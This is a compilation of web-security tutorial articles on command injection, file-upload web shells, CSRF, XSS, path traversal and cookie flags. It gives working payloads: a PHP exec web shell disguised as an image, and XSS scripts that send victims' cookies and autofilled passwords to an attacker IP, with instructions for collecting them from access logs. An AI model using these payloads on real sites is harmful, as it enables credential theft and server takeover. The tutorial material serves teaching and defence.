Command Injection

Executing a Command Injection attack simply means running a system command on someones server through a web application. Executing the command is of course the easy part, the hard part is finding and exploiting the vulnerable crack in the system which could be anything from an insecure form field on a web page to an open port in the network interface.

This is in fact the first reason why you should always set up your server with multiple user accounts, so different processes that don’t need access to each others files and even if your application is vulnerable, no exploit can do serious harm. A web application especially should never have root permissions.

Finding a vulnerability

First you need to think of all the ways your server and the outside world can communicate with each other. Pen testers would probably start with mapping out all available IPs and ports to find out what services are running on a server. We however are going to concentrate on the simplest approach – we’re going to try to attack a server through a website, because a submitted form sends information to the server and probability is high that the server will respond through the website with something in return.

To find a vulnerable form all you need to do is try a bash command in all of the inputs (just like XSS). For example ls; should list all files in whatever directory the webapp is at (Windows servers have different commands, like dir &). Depending on what command is executed in the server you may need to adjust the testing command to ; ls;. Sometimes even when the input is vulnerable you wont know it, because even though the command executes the server doesn’t reveal the results. In this case you could try pinging your server (; ping 172.521.43.11;) and checking your logs to see if the ping reaches your server.

Example vulnerability

The most obvious form that may be vulnerable is one that clearly executes some system command on the server. Take for example this pinging service. Enter an IP and it’ll ping 4 times and give you the results.

The format of the returned (red) text sure looks like something from a Linux terminal. If you’re familiar with Unix Bash you’ll recognize this as the ping command which works just by supplying the IP: ping 104.244.42.1. In fact, that’s exactly what the server does in this case.

Not all vulnerabilities are so obvious though. Usually the input doesn’t look strange at all.

Here you can upload a file or add an url directing to a file to update your profile image. What you don’t see is that in the background a command called convert is used to crop your image from a rectangle to a circle. To find this kind of a vulnerability you can insert a command separated by semicolons:

You can see that the pwd printed out the web applications current directory in the errors field. Why does this work? Because there’s a PHP line in the server that looks like this: exec("convert {$_GET['filename']} -crop 200x200 {$newname}");. And when we insert a; pwd; as the url then what gets executed in bash is convert a; pwd; -crop 200x200 {$newname} which stops the convert file and runs our own.

Real world importance

Being able to run commands as a certain user on a system means having almost full access to that account. So everything from your code to database credentials may be available for the hacker. Or if the cyber criminal so chooses he or she can silently replace content on your site that suits his or her preferences.

There are large scale attacks going around that exploit specific vulnerabilities. For example in 2016 an exploit was found on a router that used the NTP servers ability to run commands remotely to build a botnet. Millions of routers were vulnerable to this and there are many more attacks like this against routers and other things connected to the internet.

What I’m saying is Command Injection is still very much a thing and your web application could be scanned for vulnerabilities at any time so make sure to protect yourself.

OMG save my server!

There are many ways to protect against this.

Don’t run system commands

Well obviously this is the perfect protection, but not exactly plausible in every situation. Just make sure you really need to execute system commands before implementing them. A good practice instead is to use methods specifically designed for use-cases like this – pcntl_fork and pcntl_exec. Many developers do not like to use these as implementation is not always straight forward. Additionally instead of wget developers should use PHP Client URL library for fetching files from external resources.

Validate user input

If there is no way around executing system commands then you need to make sure the user has not written any malicious code into a form field. The easiest way is to just check for suspicious symbols like ; and #. This is called blacklisting. To be really sure however you’ll need to instead make sure what kind of strings are allowed and whitelist the symbols. For example if your command accepts a filename then you need to whitelist letters, numbers and the dot ..

Here’s a PHP example with Regex where a user can delete a file:

if (preg_match('/^[a-zA-Z0-9]+..{1,5}$/g', $filename)) {
exec('rm {$filename}'); // is filename so execute command
} else {
throw new Exception('Not a filename');
}

Whitelisting filenames and URLs might turn out neigh to impossible with a simple regular expression. File names and URLs can contain valid characters which the reg-ex will match against and block.

The next example is vulnerable, as it does no sanitation of user input. The user can insert any malicious code that he can come up with and PHP will execute it on the server.

if (!empty($_POST['uri'])){
$newfile = 'uploads/users/'.end(explode('/', $_POST['uri']));
exec("wget -O {$newfile} {$_POST['uri']}", $o, $r);
$errors = array_merge($errors, $o);
}

A quick fix for this can be the usage of escapeshellarg() method, that will add single quotes around all the user input. This approach is acceptable but not always the best.

As an additional precaution the developer should be aware of is that sometimes he needs to be get additional parameters from the website dynamically. A good example here is ImageMagick, which does image manipulation. The next example is the path shown to the enduser after something unexpected was encountered. Additionally to the filename, the address is indicating acceptance of additonal arguments – x and y, which the user is able to change.

../?page=profile_image&id=6&filename=uploads%2Fusers%2F
image_1_520x347.JPG&x=0&y=0

In this case the code must sanitize also the arguments to allow just integer values to be passed and bail on anything else.

Code review

Regex can get complicated so make sure you have a teammate or coworker review your code and if possible have a tester try their tricks and hacks on it too.

Keep user permissions separate

As a precaution it helps for the administrator of the server to keep the user accounts separate when possible. Most importantly the web application should have no more permissions than absolutely necessary. Especially don’t give it root permissions – that’s just an accident waiting to happen.

Unrestricted File Upload

Here’s a simple attack that may not seem as common these days, but even with sufficiently secure frameworks unknowing developers can bypass security features and produce a vulnerable application. Even large IT companies stumble sometimes. Do not let it come to you as a surprise, as there are loads of ways to attack and bypass security features.

Note that uploading malicious files is usually not a problem, unless there’s another security vulnerability that enables to exploit it. It makes sense to fix this security hole anyway, because you don’t know when someone is going to find a new fault with your system.

What is it?

The idea is quite straightforward. A hacker uses your file upload form to hack into your system. There are loads of ways to exploit this vulnerability. A common way is to fetch other users’ session IDs by putting XSS in the filename or get sensitive server information by uploading a PHP file and running it by exploiting the Path Traversal vulnerability.

Exploiting a vulnerable field

While there is a large list of things you should test and tools to help you do it, let’s keep it simple for the purpose of explaining the basic concept. Since we already covered XSS let’s focus on executing files on the server.

This attack is only applicable to PHP servers that are also vulnerable to Path Traversal. While simple to understand, it’s a good example of how dangerous an attack can be.

1. Create a malicious file to upload

Name the file something like “go.php”. The contents can be <?phpexec($_GET['cmd']); ?>. What does it do? exec is a shell command execution function, so any linux command you put as the function parameter will be executed as if it was the operating system itself. $_GET['cmd'] fetches the cmd parameter value from the url which is then passed on to the exec function.

2. Upload the file

Just upload this file through a normal file upload form on a webpage. You will probably get an error saying “php extension not allowed” so just rename your file to “go.jpg”, because images are almost always accepted and php doesn’t really care what the file extension is.

3. Execute the file

Since in this example we assume the website is vulnerable to Path Traversal, we’re going to use that to execute the file.

http://example.com?page=profile&avatar=uploads/users/go2.jpg&cmd=pwd

Notice the cmd= part. We have just implemented a PHP Shell. We can now run PHP commands through the file we uploaded. This opens the server up to a whole range of other attacks. Only to the range that the server-user allows of course, so never set up your web server with root permissions!

Fixing

There are many ways to fix this particular vulnerability:

  1. Remove Path Traversal functionality.
  2. Stop inclusion in user-upload directories.
  3. Make sure the file contents match the filetype (assuming you’re already checking filetypes).
  4. Never let the user know in which directory the file has been or will be uploaded to.
  5. Never use the original filename for the file that has been uploaded, so the user won’t know what the filename is after it has been uploaded. This means you need to generate a random hash for each file and save the original name in the database.

So What Exactly Did I Just Read?

Unrestricted File Upload is a nasty exploit that can be used in conjunction with other vulnerabilities. It can be used for a lot of different nasty things like running malicious code and commands on a web server. A lot of ways to patch it include patching other vulnerabilities at the same time.

Cross Site Request Forgery

When Sir Timothy (aka Tim Berners-Lee) designed the first version of his new information system in 1989 (that became the Web two years later), it was meant for connecting various research documents via references. Back then, and even later when the budding Web started to grow, there was no need for tracing the reader’s progress – when a page was revisited, it was opened from the beginning again. To this day, the main protocol of the Web, HTTP, is a bit like a senile senior to whom his/her children must re-introduce themselves all over every time they pay a visit.

The Web Today

But in today’s Web, we need to log into websites, carry out different interactions (e.g. online purchases, bank transfers) and also customize the sites on the fly (e.g. choosing the language that we know best). To address this, different means like Web cookies and sessions were developed later on. While these have a lot of legitimate uses, they can also bring along new threats.

A very telling example – in two different ways – is the one described at PrivacyLog (What happens when you send a zero day to a Bank). First off, it shows that the fact that significant amounts are involved does not necessarily mean that the website handling them is secure. Second, it is a prime example of the deadly combo of incompetence and boneheadedness from the site owners’ part – instead of thanking the informer and fixing the problem, they made several attempts to shoot the messenger while totally ignoring the actual security risk. Unfortunately, this is by far not a lone case of managerial ignorance in information security.

The Cross-Site Request Forgery (CSRF) is one of the common Web attacks that re-uses the user’s session information to perform various tasks defined by the attacker. While it was ranked 8th in the OWASP Top 10 in 2017, it is still very effective if the website is vulnerable to it. In short, it is a situation where the user (and his/her Web browser) is trusted by the website – e.g. the user has logged in with valid username and password – and the attacker has crafted another website for delivering the attack. Now when the user is visiting the initial website, the attack will be executed on the user’s browser and with his/her credentials. Most importantly, the user is not aware that anything has happened at all, as the browser is completing the requested instructions.

There are some conditions that need to be met in order to carry out a CSRF attack (due to these, the attack method is actually less common than some others):

  • The targeted user must be logged in to the system
  • The attacker must possess good knowledge about the target website (e.g. which fields must be filled in a form)
  • The targeted user must be tricked to visit the malicious web page.

What makes the attack much more dangerous is the fact that it can be used on network devices like routers (see specific cases describing a very popular dd-wrt router software vulnerability and how TP-Link routers can be exploited) and increasingly other connected equipment forming the Internet of Things.

Prevention and protection ain’t that simple

Many modern frameworks like Django and Ruby on Rails have CSRF protection methods already implemented. The frameworks add additional safeguards like X-CSRF-Token header automatically to the application code (Rails) whereas Django uses CSRF middleware that is enabled by default.

Possibly the best protection against CSRF attacks is provided by same-site cookies. Regrettably this feature is only supported by Chrome and Opera at the moment, other browsers will just ignore it. Basically it just takes adding a new attribute to cookies, called SameSite

Set-Cookie: sess=xyz987; path=/; SameSite

The attributes are "Strict" (the default, just "Samesite" equals to"Samesite=Strict") allowing ony requests from the same site, and “Lax” that allows some cross-site activity but still mitigates some risks.

Check out the browsers that support SameSite cookie attribute

Next best defence is installing the OWASP CSRFProtector which is inserting a CSRF token to all unprotected forms and validates the requests. The same result can be achieved by implementing JavaScript based solutions.

Other means to counter CSRF attacks include

  • validate referer header
  • without the token in submitted form, the user has to re-validate identity
  • FORM protection with CSRFToken (secret validation token)
  • Custom HTTP headers

Cross Site Scripting

You’ve probably heard about Cross-site scripting (XSS), but nowadays it sounds like a distant memory of a problem that existed in the 90’s. In reality it’s still a very much important threat. It’s not on the top 10 list on OWASP for no reason. Need proof? Check out how XSS was used to take over admin accounts on Wix.com (with 90 million users) or how Slack was hacked. These bugs have since been fixed of course, but there are many more.

The point of XSS is to fool the user or browser into giving sensitive information or performing actions in the attackers interest.

How? By modifying the HTML. By changing the HTML you can change what the user sees. Perhaps insert a plausible login form on a trusted site, which submits the info to your server. Maybe you’d like the inject a piece of Javascript that performs 3 clicks where you need them. If a site is vulnerable, the users are at risk.

Here are the 3 main ways of attacking through XSS:

Stored

The most common form of attack. If you are able to store your malicious HTML in the servers database – it’s called Stored XSS. This can be achieved by

Submit by form

Consider a blog site with a comments area. You type you comment into the <input>and submit. If this input and/or the displaying of the text is not protected you can submit a text like <script>$.post("http://111.11.11.11", {cookie: document.cookie})</script>. Any user who visits that comments page would now get their cookies hijacked and sent to my server.

To make sure this request isn’t blocked by and policies instead of a POST request we can instead load an image and embed the information in the link. Loading images aren’t restricted so thoroughly.

<script>new Image().src="http://111.11.11.11/"+encodeURI(document.cookie)</script>

As someone visits this page you can receive their cookie from your access log. If you’re on linux and the server is running Nginx, then the log is in the file /var/log/nginx/access.log.

In case you’re hacking a https website your link also has to be https.

Through browser headers

What if all the inputs are secure? Then you can consider other vectors. Admins always have a way of looking at logs – who’s accessed the site and when. Sometimes they can also see your headers. So if you insert a script into your headers and the admin sees them in an unsecure way you’ve gotten your attack across.

What are browser headers?

Whenever your browser requests for a page, it also sends extra information in it’s headers. It is just plain text information about who you are. It includes your browser information (called UserAgent), cookies (including sessionId), what link you came from and other technical stuff.

So if you go into your browser settings and change the header into the new Image()example we used above – you’ll know if someone got attacked (by again looking at your logs).

Reflected

Imagine a scenario where Stored XSS doesn’t work, but you need some user to execute a script (to give you some permissions for example). How do you force the user to run some script? Let’s assume the target user is not so gullible as to copy-paste your script into the console. He needs to be tricked into running it.

How about writing a script on your page that upon visiting will go to the target website and execute it? Well this wont work due to browser security. If the target website is vulnerable to Reflected XSS however, it can be used to work around the security.

Recognizing the vulnerability

Any element on a website that returns what you input is vulnerable. “Okay that’s a mouthful, how about speaking in peoples terms” – I hear you. Let’s work through an example.

When you submit something through a form and the website displays what you had written in plain text. This only works if the input isn’t escaped and displayed as is.

Exploiting the reflection

The real gem of this attack is that the source of your script is technically the target website itself, because your input is reflected by the website, get it? So the script to the browser looks like it came from the website thus must be secure (note, that the latest Chrome is not vulnerable anymore).

Let’s make the user execute this script: <script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>. Obviously not a very complete example, but let’s keep the code short and clear.

We’ve scouted that the vulnerable input is a search that goes by the name of “query” and it makes a GET request to http://target.web/search?query=myinput. So all we need to do is have the target user click on a link on our website that has the script inside of it: http://target.web/search?query=<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>.

The problem now is that all the special characters like <>{} and " are not compatible with being in an URL. To fix this we encode the data with encodeURI('<script>$.post("http://target.web/api/newComment", {msg: "I got hacked guys!"})</script>') and thus the final link is:

http://target.web/search?query=%3Cscript%3E$.post(%22http://target.web/api/newComment%22,%20%7Bmsg:%20%22I%20got%20hacked%20guys!%22%7D)%3C/script%3E

Now all you need to do is get the user to click on it in a forum or email or any place really.

Stored based Phishing

The attack is about changing the HTML of a website to fool the user into submitting their sensitive information (password, address, credit card info).

Replacing the whole site is good for convincing the user they’re somewhere where they’re really not, but this isn’t always necessary.

How do you change the DOM? Usually this is done by utilizing Stored or Reflected XSS to insert a script that does the change. But you could also do this through a browser plugin or by a man-in-the-middle attack or whatever else way you find to manipulate the DOM for a user in an authentic website.

Okay so we’ve got Stored XSS and we can manipulate the DOM, what do we do with it? A simple example is acquiring the users password by faking a login form, getting the browser to autofill the username/password then sending the password by script to your server. Doesn’t sound simple? Trust me there are a lot more complex ways of attacking than this.

Here’s what we’re going to do:

  1. Use Stored XSS to insert a login form somewhere.
  2. Write a script into the form that sends the password to you.
  3. Retrieve the password from the logs.

The form

Well nothing very complex here. All we need to do is mimic a login form:

<form>
<input name="username"/>
<input name="password" type="password"/>
</form>

This is all you need for the form. If you are able to put this on http://target.web/article/123/comments then any user coming to that page with saved credentials will get these inputs filled.

The script

Now we need a script to go along with the form:

<script>$.get("http://111.11.11.11/stealpass/"+document.querySelector("[name=password]").value)</script>

This script assumes the site is using jQuery. Otherwise go with plain old javascript. You may also need to wait a second before executing the request, because the browser takes some time to fill the fields.

<script>setTimeout(function(){/* script in here */}, 1000)</script>

The logs

In your server (located at 111.11.11.11) you need to watch your access.logs. You’re probably using Nginx or apache so the file will be located at /var/log/nginx/access.log or /var/log/apache2/access.log. In the file you can search for stealpass because thats part of the URL we specified.

There you go, you’ve got the password for the user.

Protected browsers

Currently Chrome, but probably more browsers in the future, will block this kind of behavior. What they do is deny access to any inputs of fields on a page until a user clicks somewhere. You can get past this by rewriting the forms submit function.

Protecting your website

Check out our article (coming soon!) for more details on how to protect against these kind of threats.

Path Traversal

Path Traversal is a fancy name for what is basically just accessing different directories in the URL. “Say what?” I hear you say. This is a very basic form of attack, but let’s go through it step by step.

What is it?

Sometimes you see this in your URL of a website:

The uploads/IMG0624.JPG sure looks like a file system path. The / gives it away, probably Linux. It’s just like browsing files on your computer.

When changing the image name to IMG0625.JPG chances are you’re going to see another image. This means changing that path to anything will display the file (if it exists). So ?file=config.json could perhaps show us something interesting. Guessing like this takes a long time of course, so there are tools like DirBuster that are able find your files through brute forcing.

Attacking

If the server is truly vulnerable to Path Traversal, with some knowledge about the file system, you could access anything on the server.

Judging from the forward / we can assume the server is running on Linux. And Linux has a very specific file system structure. For example one of the more sensitive pieces of information we could attain would be /root/.ssh/id_rsa which is the private key of the server (notice the / at the beginning, the root directory is situated at the very beginning of the file system). By retrieving the key one could get access to the server using SSH and acquire valuable data that is accessable to that Private Key, like git repositories and other servers that are associated.

Another way to get to the beginning of the system is to use ../../../../../../root/.ssh/id_rsa. It basically goes up in directories as far as it can (you can have as many ../ as you like, because Linux doesn’t try to go passed the beginning of the file system, it will always end up in the / directory).

This specific example probably wont work on a basic server, unless the administrator who set it up gave the web application root permissions (never do that). So you’ll need to be clever to figure out what information you can access. Of course, the software engineer could have easily protected against Path Traversal in the first place.

Defending

There is no single fix to protect the whole server, but there are several security measures.

Server permissions

The web application (node.js, PHP etc) should not have more permissions than are absolutely necessary. Separating the app from the rest of the system with permissions means that even if the hacker gets access to your files, it can’t read the really sensitive information – like your ~/.ssh/id_rsa file as demonstrated above. This of course helps with other kinds of vulnerabilities too.

Don’t use direct file referencing

Usually developers create this functionality for easy uploads management, but it’s just not very safe. There are many ways around it like referencing the file by a randomly generated file ID or keeping your files on another server, like the popular Amazon S3. The general rule of thumb is to keep one server for one purpose to have it as tight as possible.

Input validation

This is taking the parameter value and making sure it’s up to the standard. There are many ways to do this.

Restrict access to just a single file. So in PHP basename(realpath($_GET['filepath'])) would only return the filename. This way you can be sure no one gets anything from any other directory. Of course this isn’t a very flexible solution.

Whitelisting directories. It’s best to have a concrete path where user access is allowed.

$allowedPath = "/var/www/useruploads/avatars";
$userinput = "../../index.php";
$fullpath = realpath($userinput);
if (substr($fullpath, 0, strlen($allowedPath)) === $allowedPath) {
// $fullpath starts with allowedPath
}

So what happens there is that $allowedPath . $userinput becomes /var/www/useruploads../../var/www/index.php, but realpath converts that into a sensible /var/www/index.php (if it finds the file in the first place). Then you check if the new path actually matches the $allowedPath. In this case not so the hacker is caught.

Whitelisting filenames or file types. If for example you would like to only allow .pngfiles to be allowed you would simply ask if the input string ending matches what you need.

$path = $_GET['filepath'];
if (substr($path, -3) !== ".md") {
// File is not .md
}

Filtering suspicious strings. You can make sure that the input string does not start with a / and does not contain any ../. This isn’t really a solution however, because you probably can’t think of all the possibilities the attacker can use plus they have an arsenal of bypassing methods (like encoding).

Cookie Security

Nowadays cookies are a vital part of browsing the internet. They are a way to keep track of your movements within a site and store data directly onto your web browser. Keeping them as secure as possible prevents bad people from hijacking your web sessions and stealing our identity.

What Are Cookies?

Cookies help keep track of your movements within a website, help you continue where you left off, remember preferences, and other customization functions. One of those cookies transmitted between the web server and web browser is called a session cookie. What it does is basically contain your virtual identity and remember your registered login. If your session cookie (or session ID, authentication cookie) for a website gets stolen then the one who stole it could use it to impersonate you on that same website and login under your identity. So it would make sense to keep those little bits (pun intended) of data secure.

Why Use Cookies?

Cookies make browsing the internet more convenient. The comfort of inserting your username and password only once during a browsing session makes the experience that much better. Without cookies, login credentials would have to be entered every time before adding a product to your cart or wish list when using an internet store.

Cookies Are Located in HTTP Headers

HTTP headers allow additional information to be passed between the web browser and the web server as requests or responses. There are many different types of HTTP headers. When the web server wants to set a cookie it passes back a header named “Set-Cookie” with the key-value pair and some options. On later requests the browser will send back its own header to let the web server know the name and value of its stored cookies. The web server will not continue to send back the cookies, it will only send them if there is a change.

HTTP vs HTTPS

Before we continue with cookies, we need to establish what HTTPS is and why it is more secure than HTTP.

HyperText Transfer Protocol or just HTTP is the underlying protocol used by the World Wide Web. HTTP defines how messages are formatted and transmitted, and what actions Web servers and browsers should take in response to various commands. For example, when you enter a URL in your browser, this actually sends an HTTP command to the Web server directing it to fetch and transmit the requested Web page.

HyperText Transfer Protocol Secure or just HTTPS is the secure version of HTTP, the protocol over which data is sent between your browser and the website that you are connected to. The ‘S’ at the end of HTTPS stands for ‘Secure’. It means all communications between your browser and the website are encrypted.

…Now Back to Cookies

If HTTPS is used instead of HTTP then an attacker who is eavesdropping on the network can’t see the cookie because it has been encrypted. Anyone can tell that this is the more secure option of the two. The trouble comes into play when a website is available both through HTTP and HTTPS or when a site is susceptible to Cross Site Scripting or XSS (learn about XSS from this blog). Stealing cookies and sessions has even been made easy and available through applications like Firesheep.

HttpOnly

If a website has an XSS vulnerability then an attacker can obtain the session cookie by injecting malicious code into a form field in the webpage. One way to help against the XSS vulnerability is to enable the HttpOnly flag on the server side. This will not let JavaScript read any of the cookies. But be aware that this is not a 100% safe method against XSS as the website cookies could still be susceptible to some forms of XSS like Cross Site Tracing. In addition XSS can be used to steal other data, not only cookies.

When HTTP protocol is used the cookies are passed in plain text, which allows an attacker to steal and/or modify the data. When HTTPS is used then he or she will not be able to see the data. The problems start when a website uses both HTTP and HTTPS. In these cases the cookie which is otherwise encrypted with HTTPS is sent to the HTTP pages without the encryption. To keep the web client from sending further cookies in plain text over HTTP the secure flag must be enabled from the server side. What it does is restrict sending cookie information to only over HTTPS.

How Do I Keep Them Secure?

There are several ways to keep your cookies secure, mainly by adding additonal flags to the cookie header. This can be done either by writing the flag setting into the code or by configurating the web server to do it later on.

How Do I Set the Flags in the Code?

In PHP you can set the arguments for cookies through optional arguments in the “setcookie” function. Within that function there are 2 boolean options: secure and httponly. Both must be set to “true”.

// Options
setcookie( name, value, expire, path, domain, secure, httponly);

// Example
setcookie('UserName','Peter',0,'/www','www.example.com',true,true);

To change the session cookie values you can use the “session_set_cookie_params” function, which has to be called before the session is started. Again, both secure and httponly options have to be set to “true”.

// Options
session_set_cookie_params( expire, path, domain, secure, httponly);

// Example
session_set_cookie_params(0,'/www','www.example.com',true,true);

…or in the PHP.ini file

Another option is to set the values in the php.ini file. Then you just set session.cookie_httponly and session.cookie_secure to “true”.

session.cookie_httponly = True
session.cookie_secure = True

So In Conclusion

Setting both secure and httponly flags for cookies is not really an option anymore, it is a must for every developer. Especially when setting them is as easy as 1 2 3. Without those security measures in place all the cookies in your web application will be susceptible to hijacking.

Browser Cookies Explained

Most Internet users are familiar with the term “Cookie” but only a few know what exactly it is and the purpose it serves. This article will help you understand the working of different types of browser cookies in a simple and easy to follow manner.

To begin with, a cookie (also known as browser cookie, Internet cookie, web cookie or HTTP cookie) is a small piece of data that websites store on your hard disk in the form of a text file. Cookies allow websites to store specific information helpful to remember each visitor uniquely. A cookie is set when the user visits a particular website for the first time. Thereafter, each time the user loads the website the browser sends the cookie back to the web server so that it can keep track of the user’s previous activity.
Purpose of Browser Cookies:

The following are some of the common purposes served by cookies:

Enable automatic user log-in thereby eliminating the need for a password input
Enhance user experience by storing user preferences so that the site can look different for each visitor
Keep track of items in the shopping cart
Record user’s activity such as browsing history, click patterns, page visits and so on

Types of Browser Cookies:
Session Cookie

Since web pages have no memories, a visitor navigating to a different page on the same website is treated as an entirely new visitor. This is where session cookies come in handy. It makes it possible for the website to keep track of the user from page to page so that user specific information such as shopping cart data, account details and other preferences are not lost during navigation.

A session cookie is stored in the temporary memory while the user is on the website. If no expiry date is specified during its creation, session cookies are normally deleted by the browsers upon closure.
Persistent Cookie

A persistent cookie facilitates websites to track user settings and information when they visit the same website in the future. Unlike most session cookies, a persistent cookie does not get deleted upon browser closure. This makes it possible for the websites to easily authenticate users upon revisits without having to login again. In addition, persistent cookies help enhance user experience by storing their previous inputs such as language selection, themes and menu preferences.
Secure Cookie

A secure cookie has a secure attribute enabled so that its content gets encrypted every time it moves between the web server and the browser. This cookie is used only in the HTTPS mode and thus offers protection against cookie theft.
Third-Party Cookie

Third-party cookies are those that originate from a website other than the one that you are currently using. For example, when you visit a website www.abc.com, all the cookies that come from this website are called first-party cookies. Suppose, if this website (www.abc.com) is running an advertisement on its page from a third party website www.xyz.com, then the cookie that originates from this website (www.xyz.com) is referred to as a third-partycookie.
Structure of a Cookie

A cookie is comprised of the following seven components:

Name of the cookie
Value/Content of the cookie
Domain associated with the cookie
Path for which the cookie is valid
Attribute to specify whether the cookie requires a secure connection
Attribute specifying whether the cookie can be accessed by a script
Expiry information of the cookie

Drawbacks of Cookies

Even though cookies make our lives easier on the Internet, they come with drawbacks as well. Some of the major ones are listed below:

Shared Machines: Most people share their computers with their friends and family. As a result, a cookie set during the usage of one user may not be appropriate for the other user using the same machine. For example, when a new user revisits a shopping website such as amazon.com, he/she will be presented with all the information belonging to the previous user such as order details, shipping address and other personal preferences. This may cause annoyance to the new user as he/she may be required to change all the preferences once again to match personal requirements. Additionally, the exposure of previous user’s preferences and settings to the new user may raise security issues.
Accidental Deletion: In many cases, cookies can get erased accidentally when you clear your browsing history or use a third party cookie cleaner program. When this happens all your stored settings and preference gets lost and the website treats you as a completely new user.

Privacy Issues

Since cookies are capable of tracking a number of user specific information such as online behavior and personal preferences, they can be used to hamper the privacy of users. A website may use cookie information to display related advertising products based on your previous purchase. For example, Google often stores and uses your search keywords to display matching advertisements on all its partner network. Some sites are also known to have engaged in selling the cookie data to third parties which seriously hurts the privacy of individuals.

Enable Right Clicking on Websites that Block It

You might remember an experience where you tried to right-click on a web page but got a pop-up message saying that the “right-click functionality has been disabled”. Sometimes you may be trying to copy an image or view the source of a web page but when the right-click is disabled, these things would seem impossible. Bank websites and other sites that require a secure transaction such as a payment gateway are the ones to impose this kind of limited functionality on their pages. In this post, I will show you the ways by which you can easily bypass right-click block feature on any website.

In order to block the right-click activity, most websites make use of JavaScript which is one of the popular scripting languages used to enhance functionality, improve user experience and provide rich interactive features. In addition to this, it can also be used to strengthen the website’s security by adding some of the simple security features such as disabling right-click, protecting images, hiding or masking parts of a web page and so on.

How JavaScript Works?

Before you proceed to the next part which tells you how to disable the JavaScript functionality and bypass any of the restrictions imposed by it, it would be worthwhile for you to take up a minute to understand how JavaScript works.

JavaScript is a client-side scripting language (in most cases), which means when loaded it runs from your own web browser. Most modern browsers including Chrome, Firefox and others support JavaScript so that they can interpret the code and carry out actions that are defined in the script. In other words, it is your browser which is acting upon the instruction of JavaScript to carry out the defined actions such as blocking the right-click activity. So, disabling the JavaScript support on your browser can be a simple solution to bypass all the restrictions imposed by the website.

How to Bypass the Right Click Block?

In order to bypass the right-click block or any other restriction imposed by JavaScript, all you need to do is just disable it in the browser and refresh the same page, so that it now reloads without JavaScript functionality. You are now free to right-click on the page, view its source or even copy any of the images that you may want to.

How to Disable the JavaScript?

Here is a step-by-step procedure to disable JavaScript on different browsers:

Google Chrome:

If you are using Chrome, you can disable the JavaScript by following the steps below:

Click on the Chrome “menu” button (on the top right corner) and select Tools.
From the “Settings” page, click on Show advanced settings…
Now under Privacy, click on the button Content settings…
Chrome Content Settings

Under the JavaScript, select the radio button which says “Do not allow any site to run JavaScript” and click on “Done”.

Mozilla Firefox:

Steps to disable JavaScript on Firefox:

From the menu bar, click on Tools -> Options.
From the Options window, switch to Content tab, uncheck the option which says “Enable JavaScript” and click on “OK”.
Firefox Content Options

Note: Don’t forget to re-enable the JavaScript once again when your job is over. Otherwise, lack of JavaScript support may result in the unusual rendering of web pages.